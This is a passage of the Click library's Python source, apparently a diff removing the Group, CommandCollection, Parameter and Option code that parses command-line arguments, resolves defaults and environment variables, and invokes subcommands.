formatter.section(_("Commands")): - formatter.write_dl(rows) - - def parse_args(self, ctx: Context, args: list[str]) -> list[str]: - if not args and self.no_args_is_help and not ctx.resilient_parsing: - raise NoArgsIsHelpError(ctx) - - rest = super().parse_args(ctx, args) - - if self.chain: - ctx._protected_args = rest - ctx.args = [] - elif rest: - ctx._protected_args, ctx.args = rest[:1], rest[1:] - - return ctx.args - - def invoke(self, ctx: Context) -> t.Any: - def _process_result(value: t.Any) -> t.Any: - if self._result_callback is not None: - value = ctx.invoke(self._result_callback, value, **ctx.params) - return value - - if not ctx._protected_args: - if self.invoke_without_command: - # No subcommand was invoked, so the result callback is - # invoked with the group return value for regular - # groups, or an empty list for chained groups. - with ctx: - rv = super().invoke(ctx) - return _process_result([] if self.chain else rv) - ctx.fail(_("Missing command.")) - - # Fetch args back out - args = [*ctx._protected_args, *ctx.args] - ctx.args = [] - ctx._protected_args = [] - - # If we're not in chain mode, we only allow the invocation of a - # single command but we also inform the current context about the - # name of the command to invoke. - if not self.chain: - # Make sure the context is entered so we do not clean up - # resources until the result processor has worked. - with ctx: - cmd_name, cmd, args = self.resolve_command(ctx, args) - assert cmd is not None - ctx.invoked_subcommand = cmd_name - super().invoke(ctx) - sub_ctx = cmd.make_context(cmd_name, args, parent=ctx) - with sub_ctx: - return _process_result(sub_ctx.command.invoke(sub_ctx)) - - # In chain mode we create the contexts step by step, but after the - # base command has been invoked. Because at that point we do not - # know the subcommands yet, the invoked subcommand attribute is - # set to ``*`` to inform the command that subcommands are executed - # but nothing else. - with ctx: - ctx.invoked_subcommand = "*" if args else None - super().invoke(ctx) - - # Otherwise we make every single context and invoke them in a - # chain. In that case the return value to the result processor - # is the list of all invoked subcommand's results. - contexts = [] - while args: - cmd_name, cmd, args = self.resolve_command(ctx, args) - assert cmd is not None - sub_ctx = cmd.make_context( - cmd_name, - args, - parent=ctx, - allow_extra_args=True, - allow_interspersed_args=False, - ) - contexts.append(sub_ctx) - args, sub_ctx.args = sub_ctx.args, [] - - rv = [] - for sub_ctx in contexts: - with sub_ctx: - rv.append(sub_ctx.command.invoke(sub_ctx)) - return _process_result(rv) - - def resolve_command( - self, ctx: Context, args: list[str] - ) -> tuple[str | None, Command | None, list[str]]: - cmd_name = make_str(args[0]) - - # Get the command - cmd = self.get_command(ctx, cmd_name) - - # If we can't find the command but there is a normalization - # function available, we try with that one. - if cmd is None and ctx.token_normalize_func is not None: - cmd_name = ctx.token_normalize_func(cmd_name) - cmd = self.get_command(ctx, cmd_name) - - # If we don't find the command we want to show an error message - # to the user that it was not provided. However, there is - # something else we should do: if the first argument looks like - # an option we want to kick off parsing again for arguments to - # resolve things like --help which now should go to the main - # place. - if cmd is None and not ctx.resilient_parsing: - if _split_opt(cmd_name)[0]: - self.parse_args(ctx, args) - raise NoSuchCommand(cmd_name, possibilities=self.commands, ctx=ctx) - return cmd_name if cmd else None, cmd, args[1:] - - def shell_complete(self, ctx: Context, incomplete: str) -> list[CompletionItem]: - """Return a list of completions for the incomplete value. Looks - at the names of options, subcommands, and chained - multi-commands. - - :param ctx: Invocation context for this command. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - results = [ - CompletionItem(name, help=command.get_short_help_str()) - for name, command in _complete_visible_commands(ctx, incomplete) - ] - results.extend(super().shell_complete(ctx, incomplete)) - return results - - -class _MultiCommand(Group, metaclass=_FakeSubclassCheck): - """ - .. deprecated:: 8.2 - Will be removed in Click 9.0. Use ``Group`` instead. - """ - - -class CommandCollection(Group): - """A :class:`Group` that looks up subcommands on other groups. If a command - is not found on this group, each registered source is checked in order. - Parameters on a source are not added to this group, and a source's callback - is not invoked when invoking its commands. In other words, this "flattens" - commands in many groups into this one group. - - :param name: The name of the group command. - :param sources: A list of :class:`Group` objects to look up commands from. - :param kwargs: Other arguments passed to :class:`Group`. - - .. versionchanged:: 8.2 - This is a subclass of ``Group``. Commands are looked up first on this - group, then each of its sources. - """ - - sources: list[Group] - - def __init__( - self, - name: str | None = None, - sources: list[Group] | None = None, - **kwargs: t.Any, - ) -> None: - super().__init__(name, **kwargs) - #: The list of registered groups. - self.sources = sources or [] - - def add_source(self, group: Group) -> None: - """Add a group as a source of commands.""" - self.sources.append(group) - - def get_command(self, ctx: Context, cmd_name: str) -> Command | None: - rv = super().get_command(ctx, cmd_name) - - if rv is not None: - return rv - - for source in self.sources: - rv = source.get_command(ctx, cmd_name) - - if rv is not None: - if self.chain: - _check_nested_chain(self, cmd_name, rv) - - return rv - - return None - - def list_commands(self, ctx: Context) -> list[str]: - rv: set[str] = set(super().list_commands(ctx)) - - for source in self.sources: - rv.update(source.list_commands(ctx)) - - return sorted(rv) - - -def _check_iter(value: cabc.Iterable[V]) -> cabc.Iterator[V]: - """Check if the value is iterable but not a string. Raises a type - error, or return an iterator over the value. - """ - if isinstance(value, str): - raise TypeError - - return iter(value) - - -class Parameter(ABC): - r"""A parameter to a command comes in two versions: they are either - :class:`Option`\s or :class:`Argument`\s. Other subclasses are currently - not supported by design as some of the internals for parsing are - intentionally not finalized. - - Some settings are supported by both options and arguments. - - :param param_decls: the parameter declarations for this option or - argument. This is a list of flags or argument - names. - :param type: the type that should be used. Either a :class:`ParamType` - or a Python type. The latter is converted into the former - automatically if supported. - :param required: controls if this is optional or not. - :param default: the default value if omitted. This can also be a callable, - in which case it's invoked when the default is needed - without any arguments. - :param callback: A function to further process or validate the value - after type conversion. It is called as ``f(ctx, param, value)`` - and must return the value. It is called for all sources, - including prompts. - :param nargs: the number of arguments to match. If not ``1`` the return - value is a tuple instead of single value. The default for - nargs is ``1`` (except if the type is a tuple, then it's - the arity of the tuple). If ``nargs=-1``, all remaining - parameters are collected. - :param metavar: how the value is represented in the help page. - :param expose_value: if this is `True` then the value is passed onwards - to the command callback and stored on the context, - otherwise it's skipped. - :param is_eager: eager values are processed before non eager ones. This - should not be set for arguments or it will inverse the - order of processing. - :param envvar: environment variable(s) that are used to provide a default value for - this parameter. This can be a string or a sequence of strings. If a sequence is - given, only the first non-empty environment variable is used for the parameter. - :param shell_complete: A function that returns custom shell - completions. Used instead of the param's type completion if - given. Takes ``ctx, param, incomplete`` and must return a list - of :class:`~click.shell_completion.CompletionItem` or a list of - strings. - :param deprecated: If ``True`` or non-empty string, issues a message - indicating that the argument is deprecated and highlights - its deprecation in --help. The message can be customized - by using a string as the value. A deprecated parameter - cannot be required, a ValueError will be raised otherwise. - - .. versionchanged:: 8.2.0 - Introduction of ``deprecated``. - - .. versionchanged:: 8.2 - Adding duplicate parameter names to a :class:`~click.core.Command` will - result in a ``UserWarning`` being shown. - - .. versionchanged:: 8.2 - Adding duplicate parameter names to a :class:`~click.core.Command` will - result in a ``UserWarning`` being shown. - - .. versionchanged:: 8.0 - ``process_value`` validates required parameters and bounded - ``nargs``, and invokes the parameter callback before returning - the value. This allows the callback to validate prompts. - ``full_process_value`` is removed. - - .. versionchanged:: 8.0 - ``autocompletion`` is renamed to ``shell_complete`` and has new - semantics described above. The old name is deprecated and will - be removed in 8.1, until then it will be wrapped to match the - new requirements. - - .. versionchanged:: 8.0 - For ``multiple=True, nargs>1``, the default must be a list of - tuples. - - .. versionchanged:: 8.0 - Setting a default is no longer required for ``nargs>1``, it will - default to ``None``. ``multiple=True`` or ``nargs=-1`` will - default to ``()``. - - .. versionchanged:: 7.1 - Empty environment variables are ignored rather than taking the - empty string value. This makes it possible for scripts to clear - variables if they can't unset them. - - .. versionchanged:: 2.0 - Changed signature for parameter callback to also be passed the - parameter. The old callback format will still work, but it will - raise a warning to give you a chance to migrate the code easier. - """ - - param_type_name = "parameter" - - name: str - opts: list[str] - secondary_opts: list[str] - # `Parameter.type` is annotated in `__init__` to avoid confusing mypy - required: bool - callback: t.Callable[[Context, Parameter, t.Any], t.Any] | None - nargs: int - multiple: bool - expose_value: bool - default: t.Any | t.Callable[[], t.Any] | None - _default_explicit: bool - is_eager: bool - metavar: str | None - envvar: str | cabc.Sequence[str] | None - _custom_shell_complete: ( - t.Callable[[Context, Parameter, str], list[CompletionItem] | list[str]] | None - ) - deprecated: bool | str - - def __init__( - self, - param_decls: cabc.Sequence[str] | None = None, - type: types.ParamType[t.Any] | t.Any | None = None, - required: bool = False, - # XXX The default historically embed two concepts: - # - the declaration of a Parameter object carrying the default (handy to - # arbitrage the default value of coupled Parameters sharing the same - # self.name, like flag options), - # - and the actual value of the default. - # It is confusing and is the source of many issues discussed in: - # https://github.com/pallets/click/pull/3030 - # In the future, we might think of splitting it in two, not unlike - # Option.is_flag and Option.flag_value: we could have something like - # Parameter.is_default and Parameter.default_value. - default: t.Any | t.Callable[[], t.Any] | None = UNSET, - callback: t.Callable[[Context, Parameter, t.Any], t.Any] | None = None, - nargs: int | None = None, - multiple: bool = False, - metavar: str | None = None, - expose_value: bool = True, - is_eager: bool = False, - envvar: str | cabc.Sequence[str] | None = None, - shell_complete: t.Callable[ - [Context, Parameter, str], list[CompletionItem] | list[str] - ] - | None = None, - deprecated: bool | str = False, - ) -> None: - self.name, self.opts, self.secondary_opts = self._parse_decls( - param_decls or (), expose_value - ) - self.type: types.ParamType[t.Any] = types.convert_type(type, default) - - # Default nargs to what the type tells us if we have that - # information available. - if nargs is None: - if self.type.is_composite: - nargs = self.type.arity - else: - nargs = 1 - - self.required = required - self.callback = callback - self.nargs = nargs - self.multiple = multiple - self.expose_value = expose_value - self.default = default - # Whether the user passed ``default`` explicitly to the constructor. - # Captured before any auto-derived default (like ``False`` for boolean - # flags in :class:`Option`) replaces the :data:`UNSET` sentinel, so it - # remains ``False`` when the default was inferred rather than chosen. - # Refs: https://github.com/pallets/click/issues/3403 - self._default_explicit = default is not UNSET - self.is_eager = is_eager - self.metavar = metavar - self.envvar = envvar - self._custom_shell_complete = shell_complete - self.deprecated = deprecated - - if __debug__: - if self.type.is_composite and nargs != self.type.arity: - raise ValueError( - f"'nargs' must be {self.type.arity} (or None) for" - f" type {self.type!r}, but it was {nargs}." - ) - - if required and deprecated: - raise ValueError( - f"The {self.param_type_name} '{self.human_readable_name}' " - "is deprecated and still required. A deprecated " - f"{self.param_type_name} cannot be required." - ) - - def to_info_dict(self) -> dict[str, t.Any]: - """Gather information that could be useful for a tool generating - user-facing documentation. - - Use :meth:`click.Context.to_info_dict` to traverse the entire - CLI structure. - - .. versionchanged:: 8.3.0 - Returns ``None`` for the :attr:`default` if it was not set. - - .. versionadded:: 8.0 - """ - return { - "name": self.name, - "param_type_name": self.param_type_name, - "opts": self.opts, - "secondary_opts": self.secondary_opts, - "type": self.type.to_info_dict(), - "required": self.required, - "nargs": self.nargs, - "multiple": self.multiple, - # We explicitly hide the :attr:`UNSET` value to the user, as we choose to - # make it an implementation detail. And because ``to_info_dict`` has been - # designed for documentation purposes, we return ``None`` instead. - "default": self.default if self.default is not UNSET else None, - "envvar": self.envvar, - } - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} {self.name}>" - - @abstractmethod - def _parse_decls( - self, decls: cabc.Sequence[str], expose_value: bool - ) -> tuple[str, list[str], list[str]]: ... - - @property - def human_readable_name(self) -> str: - """Returns the human readable name of this parameter. This is the - same as the name for options, but the metavar for arguments. - """ - return self.name - - def make_metavar(self, ctx: Context) -> str: - if self.metavar is not None: - return self.metavar - - metavar = self.type.get_metavar(param=self, ctx=ctx) - - if metavar is None: - metavar = self.type.name.upper() - - if self.nargs != 1: - metavar += "..." - - return metavar - - @t.overload - def get_default( - self, ctx: Context, call: t.Literal[True] = True - ) -> t.Any | None: ... - - @t.overload - def get_default( - self, ctx: Context, call: bool = ... - ) -> t.Any | t.Callable[[], t.Any] | None: ... - - def get_default( - self, ctx: Context, call: bool = True - ) -> t.Any | t.Callable[[], t.Any] | None: - """Get the default for the parameter. Tries - :meth:`Context.lookup_default` first, then the local default. - - :param ctx: Current context. - :param call: If the default is a callable, call it. Disable to - return the callable instead. - - .. versionchanged:: 8.0.2 - Type casting is no longer performed when getting a default. - - .. versionchanged:: 8.0.1 - Type casting can fail in resilient parsing mode. Invalid - defaults will not prevent showing help text. - - .. versionchanged:: 8.0 - Looks at ``ctx.default_map`` first. - - .. versionchanged:: 8.0 - Added the ``call`` parameter. - """ - value = ctx.lookup_default(self.name, call=False) - - if value is None and not ctx._default_map_has(self.name): - value = self.default - - if call and callable(value): - value = value() - - return value - - @abstractmethod - def add_to_parser(self, parser: _OptionParser, ctx: Context) -> None: ... - - def consume_value( - self, ctx: Context, opts: cabc.Mapping[str, t.Any] - ) -> tuple[t.Any, ParameterSource]: - """Returns the parameter value produced by the parser. - - If the parser did not produce a value from user input, the value is either - sourced from the environment variable, the default map, or the parameter's - default value. In that order of precedence. - - If no value is found, an internal sentinel value is returned. - - :meta private: - """ - # Collect from the parse the value passed by the user to the CLI. - value = opts.get(self.name, UNSET) - # If the value is set, it means it was sourced from the command line by the - # parser, otherwise it left unset by default. - source = ( - ParameterSource.COMMANDLINE - if value is not UNSET - else ParameterSource.DEFAULT - ) - - if value is UNSET: - envvar_value = self.value_from_envvar(ctx) - if envvar_value is not None: - value = envvar_value - source = ParameterSource.ENVIRONMENT - - if value is UNSET: - default_map_value = ctx.lookup_default(self.name) - if default_map_value is not None or ctx._default_map_has(self.name): - value = default_map_value - source = ParameterSource.DEFAULT_MAP - - # A string from default_map must be split for multi-value - # parameters, matching value_from_envvar behavior. - if isinstance(value, str) and self.nargs != 1: - value = self.type.split_envvar_value(value) - - if value is UNSET: - default_value = self.get_default(ctx) - if default_value is not UNSET: - value = default_value - source = ParameterSource.DEFAULT - - return value, source - - def type_cast_value(self, ctx: Context, value: t.Any) -> t.Any: - """Convert and validate a value against the parameter's - :attr:`type`, :attr:`multiple`, and :attr:`nargs`. - """ - if value is None: - if self.multiple or self.nargs == -1: - return () - else: - return value - - def check_iter(value: t.Any) -> cabc.Iterator[t.Any]: - try: - return _check_iter(value) - except TypeError: - # This should only happen when passing in args manually, - # the parser should construct an iterable when parsing - # the command line. - raise BadParameter( - _("Value must be an iterable."), ctx=ctx, param=self - ) from None - - # Define the conversion function based on nargs and type. - - if self.nargs == 1 or self.type.is_composite: - - def convert(value: t.Any) -> t.Any: - return self.type(value, param=self, ctx=ctx) - - elif self.nargs == -1: - - def convert(value: t.Any) -> t.Any: # tuple[t.Any, ...] - return tuple(self.type(x, self, ctx) for x in check_iter(value)) - - else: # nargs > 1 - - def convert(value: t.Any) -> t.Any: # tuple[t.Any, ...] - value = tuple(check_iter(value)) - - if len(value) != self.nargs: - raise BadParameter( - ngettext( - "Takes {nargs} values but 1 was given.", - "Takes {nargs} values but {len} were given.", - len(value), - ).format(nargs=self.nargs, len=len(value)), - ctx=ctx, - param=self, - ) - - return tuple(self.type(x, self, ctx) for x in value) - - if self.multiple: - return tuple(convert(x) for x in check_iter(value)) - - return convert(value) - - def value_is_missing(self, value: t.Any) -> bool: - """A value is considered missing if: - - - it is :attr:`UNSET`, - - or if it is an empty sequence while the parameter is suppose to have - non-single value (i.e. :attr:`nargs` is not ``1`` or :attr:`multiple` is - set). - - :meta private: - """ - if value is UNSET: - return True - - if (self.nargs != 1 or self.multiple) and value == (): - return True - - return False - - def process_value(self, ctx: Context, value: t.Any) -> t.Any: - """Process the value of this parameter: - - 1. Type cast the value using :meth:`type_cast_value`. - 2. Check if the value is missing (see: :meth:`value_is_missing`), and raise - :exc:`MissingParameter` if it is required. - 3. If a :attr:`callback` is set, call it to have the value replaced by the - result of the callback. If the value was not set, the callback receive - ``None``. This keep the legacy behavior as it was before the introduction of - the :attr:`UNSET` sentinel. - - :meta private: - """ - # shelter `type_cast_value` from ever seeing an `UNSET` value by handling the - # cases in which `UNSET` gets special treatment explicitly at this layer - # - # Refs: - # https://github.com/pallets/click/issues/3069 - if value is UNSET: - if self.multiple or self.nargs == -1: - value = () - else: - value = self.type_cast_value(ctx, value) - - if self.required and self.value_is_missing(value): - raise MissingParameter(ctx=ctx, param=self) - - if self.callback is not None: - # Legacy case: UNSET is not exposed directly to the callback, but converted - # to None. - if value is UNSET: - value = None - - # Search for parameters with UNSET values in the context. - unset_keys = {k: None for k, v in ctx.params.items() if v is UNSET} - # No UNSET values, call the callback as usual. - if not unset_keys: - value = self.callback(ctx, self, value) - - # Legacy case: provide a temporarily manipulated context to the callback - # to hide UNSET values as None. - # - # Refs: - # https://github.com/pallets/click/issues/3136 - # https://github.com/pallets/click/pull/3137 - else: - # Add another layer to the context stack to clearly hint that the - # context is temporarily modified. - with ctx: - # Update the context parameters to replace UNSET with None. - ctx.params.update(unset_keys) - # Feed these fake context parameters to the callback. - value = self.callback(ctx, self, value) - # Restore the UNSET values in the context parameters. - ctx.params.update( - { - k: UNSET - for k in unset_keys - # Only restore keys that are present and still None, in case - # the callback modified other parameters. - if k in ctx.params and ctx.params[k] is None - } - ) - - return value - - def resolve_envvar_value(self, ctx: Context) -> str | None: - """Returns the value found in the environment variable(s) attached to this - parameter. - - Environment variables values are `always returned as strings - `_. - - This method returns ``None`` if: - - - the :attr:`envvar` property is not set on the :class:`Parameter`, - - the environment variable is not found in the environment, - - the variable is found in the environment but its value is empty (i.e. the - environment variable is present but has an empty string). - - If :attr:`envvar` is setup with multiple environment variables, - then only the first non-empty value is returned. - - .. caution:: - - The raw value extracted from the environment is not normalized and is - returned as-is. Any normalization or reconciliation is performed later by - the :class:`Parameter`'s :attr:`type`. - - :meta private: - """ - if not self.envvar: - return None - - if isinstance(self.envvar, str): - rv = os.environ.get(self.envvar) - - if rv: - return rv - else: - for envvar in self.envvar: - rv = os.environ.get(envvar) - - # Return the first non-empty value of the list of environment variables. - if rv: - return rv - # Else, absence of value is interpreted as an environment variable that - # is not set, so proceed to the next one. - - return None - - def value_from_envvar(self, ctx: Context) -> str | cabc.Sequence[str] | None: - """Process the raw environment variable string for this parameter. - - Returns the string as-is or splits it into a sequence of strings if the - parameter is expecting multiple values (i.e. its :attr:`nargs` property is set - to a value other than ``1``). - - :meta private: - """ - rv = self.resolve_envvar_value(ctx) - - if rv is not None and self.nargs != 1: - return self.type.split_envvar_value(rv) - - return rv - - def handle_parse_result( - self, ctx: Context, opts: cabc.Mapping[str, t.Any], args: list[str] - ) -> tuple[t.Any, list[str]]: - """Process the value produced by the parser from user input. - - Always process the value through the Parameter's :attr:`type`, wherever it - comes from. - - If the parameter is deprecated, this method warn the user about it. But only if - the value has been explicitly set by the user (and as such, is not coming from - a default). - - :meta private: - """ - # Capture the slot's existing state before we mutate - # ``_parameter_source`` so the write decision below can compare our - # incoming source against the source of the option that already wrote - # the slot (if any). - existing_value = ctx.params.get(self.name, UNSET) - existing_source = ctx.get_parameter_source(self.name) - existing_default_explicit = ctx._param_default_explicit.get(self.name, False) - - with augment_usage_errors(ctx, param=self): - value, source = self.consume_value(ctx, opts) - - # Record the source before processing so eager callbacks and type - # conversion can inspect it. Restored after arbitration if this - # option loses a feature-switch group. - ctx.set_parameter_source(self.name, source) - - # Display a deprecation warning if necessary. - if ( - self.deprecated - and value is not UNSET - and source < ParameterSource.DEFAULT_MAP - ): - message = _( - "DeprecationWarning: The {param_type} {name!r} is deprecated." - "{extra_message}" - ).format( - param_type=self.param_type_name, - name=self.human_readable_name, - extra_message=_format_deprecated_suffix(self.deprecated), - ) - echo(style(message, fg="red"), err=True) - - # Process the value through the parameter's type. - try: - value = self.process_value(ctx, value) - except Exception: - if not ctx.resilient_parsing: - raise - # In resilient parsing mode, we do not want to fail the command if the - # value is incompatible with the parameter type, so we reset the value - # to UNSET, which will be interpreted as a missing value. - value = UNSET - - # Arbitrate the slot when several parameters target the same variable - # name (feature-switch groups). See: https://github.com/pallets/click/issues/3403 - slot_empty = existing_value is UNSET - more_explicit = existing_source is not None and source < existing_source - same_source = existing_source is not None and source == existing_source - auto_would_downgrade_explicit = ( - same_source - and source == ParameterSource.DEFAULT - and existing_default_explicit - and not self._default_explicit - ) - is_winner = ( - slot_empty - or more_explicit - or (same_source and not auto_would_downgrade_explicit) - ) - - if is_winner: - if self.expose_value: - ctx.params[self.name] = value - ctx._param_default_explicit[self.name] = self._default_explicit - elif existing_source is not None: - # Lost arbitration; restore the winning option's source. - ctx.set_parameter_source(self.name, existing_source) - # else: ctx.params[self.name] was populated by code that bypassed - # handle_parse_result (from another option's callback for example). Keep - # the provisional source recorded before process_value so downstream - # lookups don't return ``None``. - - return value, args - - def get_help_record(self, ctx: Context) -> tuple[str, str] | None: - return None - - def get_usage_pieces(self, ctx: Context) -> list[str]: - return [] - - def get_error_hint(self, ctx: Context | None) -> str: - """Get a stringified version of the param for use in error messages to - indicate which param caused the error. - - .. versionchanged:: 8.4.0 - ``ctx`` can be ``None``. - """ - hint_list = self.opts or [self.human_readable_name] - return " / ".join(f"'{x}'" for x in hint_list) - - def shell_complete(self, ctx: Context, incomplete: str) -> list[CompletionItem]: - """Return a list of completions for the incomplete value. If a - ``shell_complete`` function was given during init, it is used. - Otherwise, the :attr:`type` - :meth:`~click.types.ParamType[t.Any].shell_complete` function is used. - - :param ctx: Invocation context for this command. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - if self._custom_shell_complete is not None: - results = self._custom_shell_complete(ctx, self, incomplete) - - if results and isinstance(results[0], str): - from click.shell_completion import CompletionItem - - results = [CompletionItem(c) for c in results] - - return t.cast("list[CompletionItem]", results) - - return self.type.shell_complete(ctx, self, incomplete) - - -class Option(Parameter): - """Options are usually optional values on the command line and - have some extra features that arguments don't have. - - All other parameters are passed onwards to the parameter constructor. - - :param show_default: Show the default value for this option in its - help text. Values are not shown by default, unless - :attr:`Context.show_default` is ``True``. If this value is a - string, it shows that string in parentheses instead of the - actual value. This is particularly useful for dynamic options. - For single option boolean flags, the default remains hidden if - its value is ``False``. - :param show_envvar: Controls if an environment variable should be - shown on the help page and error messages. - Normally, environment variables are not shown. - :param prompt: If set to ``True`` or a non empty string then the - user will be prompted for input. If set to ``True`` the prompt - will be the option name capitalized. A deprecated option cannot be - prompted. - :param confirmation_prompt: Prompt a second time to confirm the - value if it was prompted for. Can be set to a string instead of - ``True`` to customize the message. - :param prompt_required: If set to ``False``, the user will be - prompted for input only when the option was specified as a flag - without a value. - :param hide_input: If this is ``True`` then the input on the prompt - will be hidden from the user. This is useful for password input. - :param is_flag: forces this option to act as a flag. The default is - auto detection. - :param flag_value: which value should be used for this flag if it's - enabled. This is set to a boolean automatically if - the option string contains a slash to mark two options. - :param multiple: if this is set to `True` then the argument is accepted - multiple times and recorded. This is similar to ``nargs`` - in how it works but supports arbitrary number of - arguments. - :param count: this flag makes an option increment an integer. - :param allow_from_autoenv: if this is enabled then the value of this - parameter will be pulled from an environment - variable in case a prefix is defined on the - context. - :param help: the help string. - :param hidden: hide this option from help outputs. - :param attrs: Other command arguments described in :class:`Parameter`. - - .. versionchanged:: 8.4.0 - Non-basic ``flag_value`` types (not ``str``, ``int``, ``float``, or - ``bool``) are passed through unchanged instead of being stringified. - Previously, ``type=click.UNPROCESSED`` was required to preserve them. - - .. versionchanged:: 8.2 - ``envvar`` used with ``flag_value`` will always use the ``flag_value``, - previously it would use the value of the environment variable. - - .. versionchanged:: 8.1 - Help text indentation is cleaned here instead of only in the - ``@option`` decorator. - - .. versionchanged:: 8.1 - The ``show_default`` parameter overrides - ``Context.show_default``. - - .. versionchanged:: 8.1 - The default of a single option boolean flag is not shown if the - default value is ``False``. - - .. versionchanged:: 8.0.1 - ``type`` is detected from ``flag_value`` if given, for basic Python - types (``str``, ``int``, ``float``, ``bool``). - """ - - param_type_name = "option" - - prompt: str | None - confirmation_prompt: bool | str - prompt_required: bool - hide_input: bool - hidden: bool - - _flag_needs_value: bool - is_flag: bool - is_bool_flag: bool - flag_value: t.Any - - count: bool - allow_from_autoenv: bool - help: str | None - show_default: bool | str | None - show_choices: bool - show_envvar: bool - - def __init__( - self, - param_decls: cabc.Sequence[str] | None = None, - show_default: bool | str | None = None, - prompt: bool | str = False, - confirmation_prompt: bool | str = False, - prompt_required: bool = True, - hide_input: bool = False, - is_flag: bool | None = None, - flag_value: t.Any = UNSET, - multiple: bool = False, - count: bool = False, - allow_from_autoenv: bool = True, - type: types.ParamType[t.Any] | t.Any | None = None, - help: str | None = None, - hidden: bool = False, - show_choices: bool = True, - show_envvar: bool = False, - deprecated: bool | str = False, - **attrs: t.Any, - ) -> None: - if help: - help = inspect.cleandoc(help) - - super().__init__( - param_decls, type=type, multiple=multiple, deprecated=deprecated, **attrs - ) - - if prompt is True: - if not self.name: - raise TypeError("'name' is required with 'prompt=True'.") - - prompt_text = self.name.replace("_", " ").capitalize() - elif prompt is False: - prompt_text = None - else: - prompt_text = prompt - - if deprecated: - label = _format_deprecated_label(deprecated) - help = f"{help} {label}" if help else label - - self.prompt = prompt_text - self.confirmation_prompt = confirmation_prompt - self.prompt_required = prompt_required - self.hide_input = hide_input - self.hidden = hidden - - # The _flag_needs_value property tells the parser that this option is a flag - # that cannot be used standalone and needs a value. With this information, the - # parser can determine whether to consider the next user-provided argument in - # the CLI as a value for this flag or as a new option. - # If prompt is enabled but not required, then it opens the possibility for the - # option to gets its value from the user. - self._flag_needs_value = self.prompt is not None and not self.prompt_required - - # Auto-detect if this is a flag or not. - if is_flag is None: - # Implicitly a flag because flag_value was set. - if flag_value is not UNSET: - is_flag = True - # Not a flag, but when used as a flag it shows a prompt. - elif self._flag_needs_value: - is_flag = False - # Implicitly a flag because secondary options names were given. - elif self.secondary_opts: - is_flag = True - - # The option is explicitly not a flag, but to determine whether or not it needs - # value, we need to check if `flag_value` or `default` was set. Either one is - # sufficient. - # Ref: https://github.com/pallets/click/issues/3084 - elif is_flag is False and not self._flag_needs_value: - self._flag_needs_value = flag_value is not UNSET or self.default is UNSET - - if is_flag: - # Set missing default for flags if not explicitly required or prompted. - if self.default is UNSET and not self.required and not self.prompt: - if multiple: - self.default = () - - # Auto-detect the type of the flag based on the flag_value. - if type is None: - # A flag without a flag_value is a boolean flag. - if flag_value is UNSET: - self.type: types.ParamType[t.Any] = types.BoolParamType() - # If the flag value is a boolean, use BoolParamType. - elif isinstance(flag_value, bool): - self.type = types.BoolParamType() - # Otherwise, guess the type from the flag value. - else: - guessed = types.convert_type(None, flag_value) - if ( - isinstance(guessed, types.StringParamType) - and not isinstance(flag_value, str) - and flag_value is not None - ): - # The flag_value type couldn't be auto-detected - # (not str, int, float, or bool). Since flag_value - # is a programmer-provided Python object, not CLI - # input, pass it through unchanged instead of - # stringifying it. - self.type = types.UNPROCESSED - else: - self.type = guessed - - self.is_flag = bool(is_flag) - self.is_bool_flag = self.is_flag and isinstance(self.type, types.BoolParamType) - self.flag_value = flag_value - - # Set boolean flag default to False if unset and not required. - if self.is_bool_flag: - if self.default is UNSET and not self.required: - self.default = False - - # The alignment of default to the flag_value is resolved lazily in - # get_default() to prevent callable flag_values (like classes) from - # being instantiated. Refs: - # https://github.com/pallets/click/issues/3121 - # https://github.com/pallets/click/issues/3024#issuecomment-3146199461 - # https://github.com/pallets/click/pull/3030/commits/06847da - - # Set the default flag_value if it is not set. - if self.flag_value is UNSET: - if self.is_flag: - self.flag_value = True - else: - self.flag_value = None - - # Counting. - self.count = count - if count: - if type is None: - self.type = types.IntRange(min=0) - if self.default is UNSET: - self.default = 0 - - self.allow_from_autoenv = allow_from_autoenv - self.help = help - self.show_default = show_default - self.show_choices = show_choices - self.show_envvar = show_envvar - - if __debug__: - if deprecated and prompt: - raise ValueError("`deprecated` options cannot use `prompt`.") - - if self.nargs == -1: - raise TypeError("nargs=-1 is not supported for options.") - - if not self.is_bool_flag and self.secondary_opts: - raise TypeError("Secondary flag is not valid for non-boolean flag.") - - if self.is_bool_flag and self.hide_input and self.prompt is not None: - raise TypeError( - "'prompt' with 'hide_input' is not valid for boolean flag." - ) - - if self.count: - if self.multiple: - raise TypeError("'count' is not valid with 'multiple'.") - - if self.is_flag: - raise TypeError("'count' is not valid with 'is_flag'.") - - def to_info_dict(self) -> dict[str, t.Any]: - """ - .. versionchanged:: 8.3.0 - Returns ``None`` for the :attr:`flag_value` if it was not set. - """ - info_dict = super().to_info_dict() - info_dict.update( - help=self.help, - prompt=self.prompt, - is_flag=self.is_flag, - # We explicitly hide the :attr:`UNSET` value to the user, as we choose to - # make it an implementation detail. And because ``to_info_dict`` has been - # designed for documentation purposes, we return ``None`` instead. - flag_value=self.flag_value if self.flag_value is not UNSET else None, - count=self.count, - hidden=self.hidden, - ) - return info_dict - - def get_default( - self, ctx: Context, call: bool = True - ) -> t.Any | t.Callable[[], t.Any] | None: - """Return the default value for this option. - - For non-boolean flag options, ``default=True`` is treated as a sentinel - meaning "activate this flag by default" and is resolved to - :attr:`flag_value`. For example, with ``--upper/--lower`` feature - switches where ``flag_value="upper"`` and ``default=True``, the default - resolves to ``"upper"``. - - .. caution:: - This substitution only applies to non-boolean flags - (:attr:`is_bool_flag` is ``False``). For boolean flags, ``True`` is - a legitimate Python value and ``default=True`` is returned as-is. - - .. versionchanged:: 8.3.3 - ``default=True`` is no longer substituted with ``flag_value`` for - boolean flags, fixing negative boolean flags like - ``flag_value=False, default=True``. - """ - value = super().get_default(ctx, call=False) - - # Resolve default=True to flag_value lazily (here instead of - # __init__) to prevent callable flag_values (like classes) from - # being instantiated by the callable check below. - if value is True and self.is_flag and not self.is_bool_flag: - value = self.flag_value - elif call and callable(value): - value = value() - - return value - - def get_error_hint(self, ctx: Context | None) -> str: - result = super().get_error_hint(ctx) - if self.show_envvar and self.envvar is not None: - result += f" (env var: '{self.envvar}')" - return result - - def _parse_decls( - self, decls: cabc.Sequence[str], expose_value: bool - ) -> tuple[str, list[str], list[str]]: - opts = [] - secondary_opts = [] - name = None - possible_names = [] - - for decl in decls: - if decl.isidentifier(): - if name is not None: - raise TypeError(_("Name '{name}' defined twice").format(name=name)) - name 